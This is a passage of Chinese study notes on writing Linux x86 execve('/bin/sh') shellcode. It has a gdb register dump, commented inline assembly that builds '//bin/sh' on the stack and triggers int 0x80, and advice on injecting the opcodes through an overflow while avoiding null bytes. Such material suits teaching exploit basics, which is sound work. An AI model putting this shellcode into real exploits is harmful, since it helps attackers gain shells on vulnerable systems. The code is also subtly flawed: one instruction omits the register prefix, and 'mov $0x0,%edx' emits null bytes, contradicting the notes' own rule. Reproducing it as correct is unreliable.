P128页查看软中断
(gdb)i reg $eax $ebx $ecx $edx
eax 0xb 11
ebx 0x808e488 134800520
ecx 0xbffffa40 -1073743296
edx 0x0 0
(gdb)x/s 0x808e488
0x808e488 <_IO_stdin_used+4>: “/bin/sh”
(gdb)x/2x 0xbffffa40
0xbffffa40:0x0808e488 0x00000000
说明:
(1)eax保存execve的系统调用编号「11」,可以网上查询源代码知道
ebx保存”/bin/sh” ,而这个可以被调用执行shell转换
ecx保存了指向”/bin/sh”所存储地址的指针,可以看到”/bin/sh”存储在0x808e488开始的存储区域,而ecx的值0xbffffa40为地址的存储区域存储正好是0x808e488
edx为0
(2)因为此时断点在软中断位置,所以这里放的是下一步要执行的动作,就是打开sh
=========与之对应的OpCode「操作码」==========
__asm__(“
mov $0x0,%edx //edx=0, 正好满足前面对寄存器edx的要求,假设此时old_esp
push %edx //压栈edx=0x00000000,且$esp=$old_esp- 4
push $0x68732f6e //压入 低地址—————————>高地址
push $0x69622f2f // //bin/sh (因为压入之后sp减小,所以下面的是
低地址部分,而且考虑压入顺序,执行时候刚好有前面的字符串)
mov %esp,%ebx //让ebx指向我们压入的“//bin/sh”,符合要求
push %edx //压入edx,此时的esp指向edx值(0x00000000)在栈中地址
push %ebx //压入ebx(即所谓的0x0808e488)
mov %esp,%ecx //ecx指向ebx在栈中地址,即ecx=0xbffffa40
mov $0xb,eax //eax=0xb===>十进制的11
int $0x80 //调用中断,开始执行
”);
说明:
(1)程序执行顺序被打乱,因为原本要执行的任务应该在程序的正文段,而现在进入了堆栈区“/bin/sh”
(2)剩下的任务就是要把这一系列转换为操作码,并存储在变量中,这样系统会在程序空间存储该变量的值,而真正执行时会在数据段中执行,如果系统没有边界保护就会成功。
(3)应该保证该代码的操作码没有0,因为有0时候在存储变量和系统拷贝的时候在遇到0的时候结束,以至于不能把shellcode全部转入执行。
1、为什么用这几个呢?可以通过insight查看反汇编之后的寄存器,在软中断int $0x80的时候出现变化或者影响系统执行顺序的寄存器。